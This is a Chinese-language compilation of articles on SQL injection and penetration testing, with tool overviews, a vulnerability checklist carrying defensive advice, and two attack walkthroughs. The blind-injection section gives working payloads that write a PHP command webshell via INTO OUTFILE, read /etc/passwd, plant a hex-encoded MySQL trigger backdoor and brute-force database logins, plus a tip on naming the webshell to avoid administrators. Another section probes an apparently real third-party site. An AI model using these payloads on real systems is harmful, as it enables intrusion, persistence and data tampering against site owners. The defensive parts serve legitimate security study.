本文目录一览:
- 1、功能强大.操作简单的SQL注入工具是?
- 2、渗透测试应该怎么做呢?
- 3、如何利用blind sql injection渗透
- 4、如何灵活地运用SQLInjection做数据库渗透的一种思路
- 5、SQL注入哪些工具最有效
功能强大.操作简单的SQL注入工具是?
Pangolin翻译成中文即为穿山甲。之所以取名为穿山甲,是因为目前的网络安全通常都伴随着网络防火墙,只允许极少数的业务端口开放。而SQL注入正是这样的一个攻击途径,他的动作就像穿山甲一样会“打洞”。能够穿越看似强大的目标。这也是目前网络安全的现状。 Pangolin是一款帮助渗透测试人员进行Sql注入测试的安全工具。所谓的SQL注入测试就是通过利用目标网站的某个页面缺少对用户传递参数控制或者控制的不够好的情况下出现的漏洞,从而达到获取、修改、删除数据,甚至控制数据库服务器、Web服务器的目的的测试方法。Pangolin能够通过一系列非常简单的操作,达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统都给出了测试步骤。 过去有许多Sql注入工具,不过有些功能不完全,支持的数据库不够多,或者是速度比较慢。但是,在Pangolin发布以后,这些问题都得到了解决。 Pangolin是目前已有的注入工具中最好的。 这个是天空的下载连接
渗透测试应该怎么做呢?
01、信息收集
1、域名、IP、端口
域名信息查询:信息可用于后续渗透
IP信息查询:确认域名对应IP,确认IP是否真实,确认通信是否正常
端口信息查询:NMap扫描,确认开放端口
发现:一共开放两个端口,80为web访问端口,3389为windows远程登陆端口,嘿嘿嘿,试一下
发现:是Windows Server 2003系统,OK,到此为止。
2、指纹识别
其实就是网站的信息。比如通过可以访问的资源,如网站首页,查看源代码:
看看是否存在文件遍历的漏洞(如图片路径,再通过…/遍历文件)
是否使用了存在漏洞的框架(如果没有现成的就自己挖)
02、漏洞扫描
1、主机扫描
Nessus
经典主机漏扫工具,看看有没有CVE漏洞:
2、Web扫描
AWVS(Acunetix | Website Security Scanner)扫描器
PS:扫描器可能会对网站构成伤害,小心谨慎使用。
03、渗透测试
1、弱口令漏洞
漏洞描述
目标网站管理入口(或数据库等组件的外部连接)使用了容易被猜测的简单字符口令、或者是默认系统账号口令。
渗透测试
① 如果不存在验证码,则直接使用相对应的弱口令字典使用burpsuite 进行爆破
② 如果存在验证码,则看验证码是否存在绕过、以及看验证码是否容易识别
风险评级:高风险
安全建议
① 默认口令以及修改口令都应保证复杂度,比如:大小写字母与数字或特殊字符的组合,口令长度不小于8位等
② 定期检查和更换网站管理口令
2、文件下载(目录浏览)漏洞
漏洞描述
一些网站由于业务需求,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意的文件,可以是源代码文件、敏感文件等。
渗透测试
① 查找可能存在文件包含的漏洞点,比如js,css等页面代码路径
② 看看有没有文件上传访问的功能
③ 采用…/来测试能否夸目录访问文件
风险评级:高风险
安全建议
① 采用白名单机制限制服务器目录的访问,以及可以访问的文件类型(小心被绕过)
② 过滤【./】等特殊字符
③ 采用文件流的访问返回上传文件(如用户头像),不要通过真实的网站路径。
示例:tomcat,默认关闭路径浏览的功能:
param-namelistings/param-name
param-valuefalse/param-value
3、任意文件上传漏洞
漏洞描述
目标网站允许用户向网站直接上传文件,但未对所上传文件的类型和内容进行严格的过滤。
渗透测试
① 收集网站信息,判断使用的语言(PHP,ASP,JSP)
② 过滤规则绕过方法:文件上传绕过技巧
风险评级:高风险
安全建议
① 对上传文件做有效文件类型判断,采用白名单控制的方法,开放只允许上传的文件型式;
② 文件类型判断,应对上传文件的后缀、文件头、图片类的预览图等做检测来判断文件类型,同时注意重命名(Md5加密)上传文件的文件名避免攻击者利用WEB服务的缺陷构造畸形文件名实现攻击目的;
③ 禁止上传目录有执行权限;
④ 使用随机数改写文件名和文件路径,使得用户不能轻易访问自己上传的文件。
4、命令注入漏洞
漏洞描述
目标网站未对用户输入的字符进行特殊字符过滤或合法性校验,允许用户输入特殊语句,导致各种调用系统命令的web应用,会被攻击者通过命令拼接、绕过黑名单等方式,在服务端运行恶意的系统命令。
渗透测试
风险评级:高风险
安全建议
① 拒绝使用拼接语句的方式进行参数传递;
② 尽量使用白名单的方式(首选方式);
③ 过滤危险方法、特殊字符,如:【|】【】【;】【’】【"】等
5、SQL注入漏洞
漏洞描述
目标网站未对用户输入的字符进行特殊字符过滤或合法性校验,允许用户输入特殊语句查询后台数据库相关信息
渗透测试
① 手动测试:判断是否存在SQL注入,判断是字符型还是数字型,是否需要盲注
② 工具测试:使用sqlmap等工具进行辅助测试
风险评级:高风险
安全建议
① 防范SQL注入攻击的最佳方式就是将查询的逻辑与其数据分隔,如Java的预处理,PHP的PDO
② 拒绝使用拼接SQL的方式
6、跨站脚本漏洞
漏洞描述
当应用程序的网页中包含不受信任的、未经恰当验证或转义的数据时,或者使用可以创建 HTML或JavaScript 的浏览器 API 更新现有的网页时,就会出现 XSS 缺陷。XSS 让攻击者能够在受害者的浏览器中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点。
三种XSS漏洞:
① 存储型:用户输入的信息被持久化,并能够在页面显示的功能,都可能存在存储型XSS,例如用户留言、个人信息修改等。
② 反射型:URL参数需要在页面显示的功能都可能存在反射型跨站脚本攻击,例如站内搜索、查询功能。
③ DOM型:涉及DOM对象的页面程序,包括:document.URL、document.location、document.referrer、window.location等
渗透测试
存储型,反射型,DOM型
风险评级:高风险
安全建议
① 不信任用户提交的任何内容,对用户输入的内容,在后台都需要进行长度检查,并且对【】【】【"】【’】【】等字符做过滤
② 任何内容返回到页面显示之前都必须加以html编码,即将【】【】【"】【’】【】进行转义。
7、跨站请求伪造漏洞
漏洞描述
CSRF,全称为Cross-Site Request Forgery,跨站请求伪造,是一种网络攻击方式,它可以在用户毫不知情的情况下,以用户的名义伪造请求发送给被攻击站点,从而在未授权的情况下进行权限保护内的操作,如修改密码,转账等。
渗透测试
风险评级:中风险(如果相关业务极其重要,则为高风险)
安全建议
① 使用一次性令牌:用户登录后产生随机token并赋值给页面中的某个Hidden标签,提交表单时候,同时提交这个Hidden标签并验证,验证后重新产生新的token,并赋值给hidden标签;
② 适当场景添加验证码输入:每次的用户提交都需要用户在表单中填写一个图片上的随机字符串;
③ 请求头Referer效验,url请求是否前部匹配Http(s)😕/ServerHost
④ 关键信息输入确认提交信息的用户身份是否合法,比如修改密码一定要提供原密码输入
⑤ 用户自身可以通过在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie;
8、内部后台地址暴露
漏洞描述
一些仅被内部访问的地址,对外部暴露了,如:管理员登陆页面;系统监控页面;API接口描述页面等,这些会导致信息泄露,后台登陆等地址还可能被爆破。
渗透测试
① 通过常用的地址进行探测,如login.html,manager.html,api.html等;
② 可以借用burpsuite和常规页面地址字典,进行扫描探测
风险评级:中风险
安全建议
① 禁止外网访问后台地址
② 使用非常规路径(如对md5加密)
9、信息泄露漏洞
漏洞描述
① 备份信息泄露:目标网站未及时删除编辑器或者人员在编辑文件时,产生的临时文件,或者相关备份信息未及时删除导致信息泄露。
② 测试页面信息泄露:测试界面未及时删除,导致测试界面暴露,被他人访问。
③ 源码信息泄露:目标网站文件访问控制设置不当,WEB服务器开启源码下载功能,允许用户访问网站源码。
④ 错误信息泄露:目标网站WEB程序和服务器未屏蔽错误信息回显,页面含有CGI处理错误的代码级别的详细信息,例如SQL语句执行错误原因,PHP的错误行数等。
⑤ 接口信息泄露:目标网站接口访问控制不严,导致网站内部敏感信息泄露。
渗透测试
① 备份信息泄露、测试页面信息泄露、源码信息泄露,测试方法:使用字典,爆破相关目录,看是否存在相关敏感文件
② 错误信息泄露,测试方法:发送畸形的数据报文、非正常的报文进行探测,看是否对错误参数处理妥当。
③ 接口信息泄露漏洞,测试方法:使用爬虫或者扫描器爬取获取接口相关信息,看目标网站对接口权限是否合理
风险评级:一般为中风险,如果源码大量泄漏或大量客户敏感信息泄露。
安全建议
① 备份信息泄露漏洞:删除相关备份信息,做好权限控制
② 测试页面信息泄露漏洞:删除相关测试界面,做好权限控制
③ 源码信息泄露漏洞:做好权限控制
④ 错误信息泄露漏洞:将错误信息对用户透明化,在CGI处理错误后可以返回友好的提示语以及返回码。但是不可以提示用户出错的代码级别的详细原因
⑤ 接口信息泄露漏洞:对接口访问权限严格控制
10、失效的身份认证
漏洞描述
通常,通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌, 或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。
渗透测试
① 在登陆前后观察,前端提交信息中,随机变化的数据,总有与当前已登陆用户进行绑定的会话唯一标识,常见如cookie
② 一般现在网站没有那种简单可破解的标识,但是如果是跨站认证,单点登录场景中,可能为了开发方便而简化了身份认证
风险评级:高风险
安全建议
① 使用强身份识别,不使用简单弱加密方式进行身份识别;
② 服务器端使用安全的会话管理器,在登录后生成高度复杂的新随机会话ID。会话ID不能在URL中,可以安全地存储,在登出、闲置超时后使其失效。
11、失效的访问控制
漏洞描述
未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
渗透测试
① 登入后,通过burpsuite 抓取相关url 链接,获取到url 链接之后,在另一个浏览器打开相关链接,看能够通过另一个未登入的浏览器直接访问该功能点。
② 使用A用户登陆,然后在另一个浏览器使用B用户登陆,使用B访问A独有的功能,看能否访问。
风险评级:高风险
安全建议
① 除公有资源外,默认情况下拒绝访问非本人所有的私有资源;
② 对API和控制器的访问进行速率限制,以最大限度地降低自动化攻击工具的危害;
③ 当用户注销后,服务器上的Cookie,JWT等令牌应失效;
④ 对每一个业务请求,都进行权限校验。
12、安全配置错误
漏洞描述
应用程序缺少适当的安全加固,或者云服务的权限配置错误。
① 应用程序启用或安装了不必要的功能(例如:不必要的端口、服务、网页、帐户或权限)。
② 默认帐户的密码仍然可用且没有更改。
③ 错误处理机制向用户披露堆栈跟踪或其他大量错误信息。
④ 对于更新的系统,禁用或不安全地配置最新的安全功能。
⑤ 应用程序服务器、应用程序框架(如:Struts、Spring、ASP.NET)、库文件、数据库等没有进行相关安全配置。
渗透测试
先对应用指纹等进行信息搜集,然后针对搜集的信息,看相关应用默认配置是否有更改,是否有加固过;端口开放情况,是否开放了多余的端口;
风险评级:中风险
安全建议
搭建最小化平台,该平台不包含任何不必要的功能、组件、文档和示例。移除或不安装不适用的功能和框架。在所有环境中按照标准的加固流程进行正确安全配置。
13、使用含有已知漏洞的组件
漏洞描述
使用了不再支持或者过时的组件。这包括:OS、Web服务器、应用程序服务器、数据库管理系统(DBMS)、应用程序、API和所有的组件、运行环境和库。
渗透测试
① 根据前期信息搜集的信息,查看相关组件的版本,看是否使用了不在支持或者过时的组件。一般来说,信息搜集,可通过http返回头、相关错误信息、应用指纹、端口探测(Nmap)等手段搜集。
② Nmap等工具也可以用于获取操作系统版本信息
③ 通过CVE,CNVD等平台可以获取当前组件版本是否存在漏洞
风险评级:按照存在漏洞的组件的安全风险值判定当前风险。
安全建议
① 移除不使用的依赖、不需要的功能、组件、文件和文档;
② 仅从官方渠道安全的获取组件(尽量保证是最新版本),并使用签名机制来降低组件被篡改或加入恶意漏洞的风险;
③ 监控那些不再维护或者不发布安全补丁的库和组件。如果不能打补丁,可以考虑部署虚拟补丁来监控、检测或保护。
详细学习可参考:
如何利用blind sql injection渗透
如何利用blind sql injection渗透
0×01,介绍…
0×02,什么是Sql Injection..
0×03,一个系统后门(OS)Backdoor.
0×04,获得一个OS Shell
0×05,一个数据库后门(Database backdoor).
0×07,推荐的防御措施…
0×08,结论…
0×09,参考…
0×01,介绍
如果你正在读这篇文章那么我有理由相信你曾经听说过一种病毒,或者是它一种特洛伊木马或者蠕虫,这类恶意程序可以感染你的计算机系统。一旦你的计算机系统被感染,那么当你使被感染的计算机连接到互联网,它很可能会去感染其他的计算机。许多时候,恶意软件不仅仅只是从一台计算机传播到另一台,他们会针对每一台感染的计算机进行自身的变异。这些变化将会让病毒远程的控制每一台计算机并使它们在之后感染更多的计算机系统。这些病毒第一次执行时会复制一个小型的可执行文件到用户的磁盘上,这个可执行文件仅仅会监听在当前计算机系统未使用的端口上从而恶意软件可以在被感染主机连入互联网的任意时刻访问这台主机。这个小的可执行文件叫做后门(Backdoor)。我在这里已经简要的说明了后门的概念。
0×02,什么是Sql Injection
已经有超过1百万的文章讲述了什么是Sql注入并且怎样去发现和怎样去避免这类威胁,所以我不想再次重复。如果你需要了解一些关于Sql注入的背景知识,这里有一个介绍性文章的连接可以供你阅读。这篇文章末尾我也提供了一些参考资料可以让你针对这篇文章所讨论的话题获得更多的知识信息。
0×03,一个系统后门(OS)Backdoor
这篇文章的目的是利用Sql Injection执行各种各样的命令最终控制操作系统。为了运行系统命令,我们需要一个CMD shell,或者需要执行一些代码使得我们可以执行OS命令。让我们分别尝试一下这两种方法。
0×04,获得一个OS Shell
现在我们将写我们自己的代码使之可以让我们运行任意OS命令来控制操作系统。所以,从之前的文章中我们已经知道搜索部分的变量存在Sql Injection并且在question表中存在4个列名。作为提示,语句Harry Potter’ union select 1,2,3,4#将会出现错误:
现在,我们想插入可以执行系统命令的PHP代码。为了实现这个目的,我们使用MYsql提供的INTO OUTFILE特性。使用Using INTO OUTFILE,可以将查询的输出重定向到系统的文件中去。真因为如此,我们可以执行Harry Potter’ union select ‘TEXT INTO FILE’,2,3 INTO OUTFILE ‘/tmp/blah.txt’#,然后字符串‘TEXT INTO FILE’将会被存储在目录/tmp下的blah.txt中。如图:
现在我们将 ‘TEXT INTO FILE’替换成基本的PHP代码使之可以读取URL的参数来执行系统命令控制操作系统。我们使用这样的语句: Harry Potter’ union select “?system($_REQUEST['cmd']); ?”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’# ,如图:
就是这样!但是还出现了很多我们根本不关心的书籍的内容。所以我调整了我的查询语句为:
‘ union select “? system($_REQUEST['cmd']); ?”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’#并再次执行。
尽管这回还是返回了2和3,但是好多了。
现在我们访问execcmd.php并把命令[cat /etc.passwd]传递给我们想提交执行的参数。
成功了。通过我多次的尝试,这里有几点需要注意的事情。
–运行这条语句的数据库用户需要拥有FILE权限,否则不能执行INTO OUTFILE命令。
–在MySQL服务运行的主机中必须存在一个可写的Web目录,否则你不能访问你刚刚上传的Webshell。你可以将代码写入到总是可写的目录像/ttmp,但是你没有权限访问它。
一种简单的方式来实现OS Shell是使用SQLMap内置的特性。如果你读过我之前的文章,你会记得我使用过SQLMap。让我们通过SQLMap来完成同样的事情。
下面的OS shell截图是在使用SQLMap进行注入时加入了一个简单的参数并且在提示处选择了PHP Web Shell而获得的。
运行一个命令来检查我们是否已经获得了一个Shell。OK,没问题。
这实在是太容易了。
不幸的是,从‘破坏者’的角度来看这也同样是简单的。
现在有了这么简单快捷的方法你肯定不想再用之前的方法了,但是知道手动利用的方法总是有帮助的(这样当使用工具失败时你可以有另外的方法)。还有一件事需要注意,难获得了一
个WebShell时,请使用一个和Web目录中已经存在的文件十分相似的名字去命名。这会帮助你隐藏你的WebShell使之不会被管理员不经意间轻易的发现。
在开始下一类Backdoor之前,我将向你展示隐藏SQLMap的方法。你可以通过设置代理来运行SQLMap。
然后当SQLMap将实际的WebShell上传到可写目录的时候,brupSuite会拦截到一些请求,让我们看一下这些请求。
我们能看到一些熟悉的东西。让我们通过URL decode来确定一下。看一下在底部面板的蓝色高亮的部分。它显示出SQLMap正在使用INTO OUTFILE命令,和我们之前人工使用的方法是一样的。
最后,我们看一下SQLMap上传WebShell的内容,非常有意思,看一下底部的面板。
这就是关键,工具再一次的大大简化了我们本该花费大量时间进行的繁琐工作。
0×05,一个数据库后门(Database backdoor)
现在我们知道一个OS后门可以在Web应用存在SQL Injection时被植入到系统中。现在让我们看看如何在数据库中植入一个后门吧。在我们继续之前,我们需要一些了解一下backdoor function的相关知识。在OS backdoor中,我们直接访问了后门并且传递给它了一个命令;但在这里却并不会那么直接。当我们每一个插入的操作执行时,我们配置的后门会改变数据库中一些敏感数据的值。所以,每一本书在添加到数据库中时价格会被我们的后门设置成0,以至于人们可以免费“购买”这些书籍。这在真实的环境中可能会很快被发现。
所以我们在数据库中有一些叫做“触发器”的东西,基本的意思就是——“当某些我们希望发生的事情发生时,触动触发器去做另外一些事情”。这描述的确实太模糊了,然我们举一个更明显的例子。假如你是一个警察,某一时刻你看到一个连环杀手,你扣动扳机并且发射出一枚子弹对么?那么把他转换为我们之前的场景——有一个INSERT语句(杀手),一个Database trigger(枪手)开火了,那么动作(action)就是释放你之前已经配置(configured)好的子弹(bullet)。
下面使我们要写的一个MySQL触发器的例子:
delimiter #
CREATE TRIGGER price BEFORE INSERT ON books
for each row begin
set new.price=’0′;
end;#
delimiter ;
b)无论任何时候如果我们执行一个Insert语句,比如假如一本书,那么我们设置其价格为0.下面是它的意思:
a)设置默认的MySQL分隔符为’#',因为默认的分隔符是’;'在MySQL作为特殊字符处理了,而我们需要将其作为数据处理。所以我们改变分隔符为’#',表示’#'现在有一个特殊的含义。
c)终止触发器并将分隔符重置为’;'。
然我们使用Sql Injection将触发器复制到服务器上。下面是要作为搜索框输入的语句:
Harry Potter’ AND 1=0 union select 0×20,0×20,0×20 INTO OUTFILE ‘/var/www/test/g2′ LINES TERMINATED BY 0x64656c696d6974657220230a4352454154452054524947474552207072696365204245464f524520494e53455254204f4e20626f6f6b730a666f72206561636820726f7720626567696e0a736574206e65772e70726963653d2730273b0a656e643b230a64656c696d69746572203b#
我会快速解释一下这个查询语句—因为即使看起来它很复杂—其实不然。我们使用1=0因为我们对关于《Harry Potter》的查询结果并不感兴趣。0×20的位置只是查询了三次空格’space’;这是为了我可以仅仅得到想要重定向到文件’/var/www/test.g2′中的内容。然后LINES TERMINATED BY后面的部分是整个触发器使用hex函数转换后的形式(我是用的是Brup Decoder,不要坐在那儿浪费时间去手工转化它)。
让我们运行一下看看会在文件/var/www/test/g2中出现什么。
你注意到了最开始的几个空格了么?这就是我们之前看到的select 0×20,0×20,0×20的作用。之后的内容就显而易见了。
现在我们以某种方式执行这个查询然后我们的触发器会在每次一本书被插入时激活,这里有三种实现的方法。
a)多语句查询(Stacked Queries)—Harry Potter’ UNION blah blah blah;source /var/www/test/g2但是这事实上不会成功执行,因为PHP+MySQL不支持多语句查询。
b)滥用MySQL默认触发器行为(Abusing MySQL default trigger behavior)—这种方法我还没有测试过,不过在Stefano Di Paola的文章中被描述的非常清楚。尝试一下吧,我找时间也会测试一下。
c)使用SQL Injection工具比如SQLMap运行我们存放在/var/www/test/g2中保存的触发器。这是我们将要测试的方法。
我们来再次运行SQLMap并获得一个我们可以运行触发器的SQL shell。
看最后一行。不幸的是,只有当支持多语句查询时,这种方法才可以执行。这意味着上面的选项a,c意味着同一种情况。让我们通过代理来查看SQLMap的请求。
让我们在Sql-shell中执行一个简单的创建新数据库的语句—”create database boo;”并在Brup中查看。
我们可以看到,SQLMap尝试将它转换为一个SELECT查询。这将永远不会执行成功。从Burp相应的内容证实了这一点。
我能想到的唯一一种能够顺序执行我们的查询的可行办法包含以下几个步骤:
—猜解一个有效MySQL用户的密码。例如,你猜到root的密码是test123
—注入一个OS webshell后门。
—注入一个类似之前格式的触发器。
—现在通过在Webshell中运行MySQL命令来安装触发器。
我有几张截图来说明为什么这样是可行的。为了照顾初学者,这里有张截图表名当前不存在任何触发器。
假设我们已经猜解到了用户名和密码root和toor(通过Blind SQL暴力猜解mysql.user表)。现在我们反问Web shell并传递一个命令:
mysql -uUSERNAME -pPASSWORD DB NAME /var/www/test/g2
现在我们再来看一下数据库。
看到了我们的触发器。
现在我们来运行一个INSERT查询来检查我们的触发器是否会运行。然后所有Jeffrey Archer的书的价格会变得非常不可思议。
现在执行查询:
看最后一行。某些人可以不用支付他本认为应该支付的价格了。
现在我们直接执行一个INSERT查询来控制数据库。在真实环境中将会有一个表单来添加书籍,在后端很可能会有一个INSERT查询,这时触发器很有可能被触发执行。这是我没有创建另外一个表单的唯一原因。
明显地,一个大前提是我们能够猜解数据库的用户名和密码。下面有一个简单的思路可以让你实现这个目的。
—想一些常用的数据库用户名(比如MySQL的root)或者通过社会工程学获得一些。
—MySQL密码是通过哈希加密的,并不是明文。
你可以通过以下两种方式破解密码:
—通过SQL Injection将密码的Hash与密码明文列表对比。(参考我之前的文章)
—在WebShell中通过密码明文列表和一个特定的用户名来运行触发器。你可以写一个Perl或者Ruby脚本来为你做这些事情。尝试在遍历完明文密码列表之后插入一本书,或者在每次猜解后找出那个密码是正确的。
mysql -uroot -ptoor blindsql_test /var/www/test/g2
mysql -uroot -proot blindsql_test /var/www/test/g2
mysql -uroot -ptest blindsql_test /var/www/test/g2
mysql -uroot -ppassword blindsql_test /var/www/test/g2
0×07,推荐的防御措施
a)使用参数化查询来防御SQL注入攻击。
b)不要在Web目录中存在大量可写目录。
c)限制Web应用在后端查询数据库的用户的权限。为了实现这一点,不要给其分配FILE权限。
d)设置复杂的数据库密码和健壮的密码策略。
0×08,结论
这个问题的根源,是Web应用存在Sql注入弱点。修复它将会阻止这种威胁的发生。然而,知道不同的植入后门的方法还是有益的。许多恶意软件将会通过这种方式传播;也需要采取措施来防止它们。
如何灵活地运用SQLInjection做数据库渗透的一种思路
如今,很多关于mssql数据库的渗透技巧已不能有效地获取有用的数据值。比如在一个怀疑是注入点的地方
当加入" ' "符号进行注入测试时,
'
出错信息是,
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4? to a column of data type int
我们知道它不对" ' "符号进行过滤。再用如下语句测试,
http //www aquavelvas com/blog.asp?id=4 and 1=1
出错信息是,
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4 and 1=1' to a column of data type int
好,再来继续测试,
http //www aquavelvas com/blog.asp?id=4'%20and%20'1'='1
这次出错讯息不同了,如下
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and '
我们的" ' "符号加对了,再继续测试,
'%20and%20user'0
出错信息如下,
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and user'
应该是语法不允许直接回值,是不是不能再继续了呢?想想其他办法,就看user值的长度吧,
'%20and%20len(user)'0
出错信息是,
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and len(user)'
好,我们知道如果出错信息是Syntax error...或Either BOF or EOF is True...的话,那语句在逻辑上是错的;而如果出错信息是Incorrect syntax...的话,那语句在逻辑上就是对的。当处理len(user)0,凭着刚才的想法,我们知道在逻辑上这是对的。
我们试试逻辑上错的语句,
'%20and%20user%20'1'='2
果然,出错信息是,
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record
从len(user)0这语法的基础上,我们得知user的长度是7,之后再用left(user,1)=a这语法来猜出user名是
thomasa。再用db_name()这个function,我们可猜出数据库名。
好了,如何猜表名呢?就先猜表名的长度吧,
就用如下语句,
len(select top 1 name from sysobjects where xtype='U')10
len(select top 1 name from sysobjects where xtype='U')9
len(select top 1 name from sysobjects where xtype='U')8
...
(猜表名的工作是很烦人,建议用perl写个script来玩玩)
再猜表名,
left((select top 1 name from sysobjects where xtype='U'),1)=a
left((select top 1 name from sysobjects where xtype='U'),2)=ab
left((select top 1 name from sysobjects where xtype='U'),3)=abc
...
好了,我们知道第一个表名是'geoipcountrywhois' (知道为什么我建议写个perl script吧!)
再继续猜表名,
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')10
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')9
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')8
...
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=b
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=l
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=o
....
好第二个表名是blog,之后的表名可用('geoipcountrywhois','blog')来继续猜,然而,这显然不是好办法。为什么我们不进行搜索呢?
如何搜索呢?就用如下的语句吧,
(select count(*) from sysobjects where xtype='U' and name like '%login%')=0
(select count(*) from sysobjects where xtype='U' and name like '%pass%')=0
(select count(*) from sysobjects where xtype='U' and name like '%key%')=0
(记得将" % "这符号换成" %25 "才是正确的输入)
好了,通过逻辑上对或错的判断,我们也可以对数据库进行渗透,不再局限于回弹显示值。
希望这思路能开阔注入技术的演变。
SQL注入哪些工具最有效
SQL Power Injector是一款在.Net 1.1中创建的应用程序,可帮助渗透测试人员在网页上查找和利用SQL注入。
特征
支持Windows,Unix和Linux操作系统
SQL Server,Oracle,MySQL,Sybase / Adaptive Server和DB2兼容
SSL支持
自动从网页上的表单或IFrame加载参数(GET或POST)
检测并浏览框架集
自动检测网站语言的选项
检测并添加加载页面进程期间使用的Cookie(Set-Cookie检测)
自动查找提交页面,其方法(GET或POST)以不同的颜色显示
可以直接在Datagrids中创建/修改/删除加载的字符串和Cookie参数
单个SQL注入
盲目的SQL注入
比较页面的真实和错误响应或cookie中的结果
时间延迟
SQL注入在自定义浏览器中的响应
可以使用HTML上下文颜色查看返回页面的HTML代码源并在其中搜索
微调参数和cookie注入
可以参数化预期结果的长度和计数以优化应用程序执行SQL注入所用的时间
创建/编辑预设的ASCII字符,以优化盲注SQL请求数/请求速度
多线程(最多可配置50个)
选项可以通过空的评论/ ** /针对IDS或过滤器检测来替换空间
在发送之前自动编码特殊字符
自动检测响应页面中的预定义SQL错误
在响应页面中自动检测预定义的单词或句子
实时结果
将会话保存并加载到XML文件中
自动查找正面答案和负面答案页面之间差异的功能
可以创建一个范围列表,它将替换隐藏的SQL注入字符串中的变量(gt;)并自动为您播放它们
使用文本文件中的预定义列表自动重播变量范围
Firefox插件,它将启动SQL Power Injector以及当前网页的所有信息及其会话上下文(参数和cookie)
两个集成工具:Hex和Char编码器和MS SQL @options解释器
可以编辑Referer
可以选择一个用户代理(或者甚至在用户代理XML文件中创建一个)
可以使用设置窗口配置应用程序
支持可配置的代理
软件截图
地址:
ilo--,Reversing.org - sqlbftools
地址:
Bernardo Damele AG:sqlmap,自动SQL注入工具
介绍
sqlmap是一款开源渗透测试工具,可自动检测和利用SQL注入漏洞并接管数据库服务器。它具有强大的检测引擎,针对终极渗透测试人员的众多特性,以及从数据库指纹识别,从数据库获取数据,到访问底层文件系统以及在操作系统上执行命令的各种开关,带外连接。
特征
完全支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB,HSQLDB和Informix数据库管理系统。
完全支持六种SQL注入技术:基于布尔的盲,基于时间的盲,基于错误,基于UNION查询,堆栈查询和带外。
支持直接连接数据库而不通过SQL注入,通过提供DBMS凭证,IP地址,端口和数据库名称。
支持枚举用户,密码哈希,特权,角色,数据库,表和列。
自动识别密码哈希格式并支持使用基于字典的攻击对其进行破解。
支持完全转储数据库表,根据用户的选择提供一系列条目或特定列。用户也可以选择仅转储每列条目中的一系列字符。
支持搜索特定的数据库名称,跨所有数据库的特定表或所有数据库表的特定列。例如,这对于识别包含自定义应用程序凭证的表格非常有用,其中相关列的名称包含名称和传递等字符串。
当数据库软件是MySQL,PostgreSQL或Microsoft SQL Server时,支持从数据库服务器底层文件系统下载和上载任何文件。
当数据库软件是MySQL,PostgreSQL或Microsoft SQL Server时,支持执行任意命令并在数据库服务器底层操作系统上检索它们的标准输出。
支持在攻击者机器和数据库服务器底层操作系统之间建立带外状态TCP连接。该通道可以是交互式命令提示符,Meterpreter会话或图形用户界面(VNC)会话,可以根据用户的选择进行选择。
通过Metasploit的Meterpreter 命令支持数据库进程'用户权限升级
地址:
icesurfer:SQL Server接管工具 - sqlninja
介绍
喜欢从Microsoft SQL Server上的SQL注入到数据库上的完整GUI访问?采用一些新的SQL注入技巧,在注册表中添加几个远程镜头以禁用数据执行保护,混合一个自动生成调试脚本的小Perl,将所有这些放在一个带有Metasploit包装器的振动器中,只有sqlninja的攻击模块之一!
Sqlninja是一款旨在利用以Microsoft SQL Server作为后端的Web应用程序中的SQL注入漏洞的工具。
其主要目标是在易受攻击的数据库服务器上提供远程访问,即使在非常恶劣的环境中也是如此。渗透测试人员应该使用它来帮助和自动化发现SQL注入漏洞时接管数据库服务器的过程。
特征
完整的文档可以在tarball中找到,也可以在这里找到,但是这里列出了忍者的功能:
远程SQL Server的指纹(版本,执行查询的用户,用户权限,xp_cmdshell可用性,数据库身份验证模式)
数据提取,基于时间或通过DNS隧道
与Metasploit3集成,通过VNC服务器注入获得对远程数据库服务器的图形化访问,或者仅上传Meterpreter
通过vbscript或debug.exe仅上传可执行的HTTP请求(不需要FTP / TFTP)
直接和反向绑定,TCP和UDP
当没有可用于直接/反向外壳的TCP / UDP端口时,DNS隧道伪外壳,但数据库服务器可以解析外部主机名
ICMP隧道外壳,当没有TCP / UDP端口可用于直接/反向外壳,但数据库可以Ping您的盒子
蛮力的'sa'密码(2种口味:基于字典和增量)
如果找到'sa'密码,权限将升级到系统管理员组
创建自定义的xp_cmdshell,如果原始的已被删除
TCP / UDP端口可以从目标SQL Server扫描到攻击机器,以便找到目标网络防火墙允许的端口并将其用于反向shell
回避技术混淆了一些IDS / IPS / WAF
与churrasco.exe集成,通过令牌绑架将权限升级到w2k3上的SYSTEM
支持CVE-2010-0232,将sqlservr.exe的权限升级到SYSTEM
地址: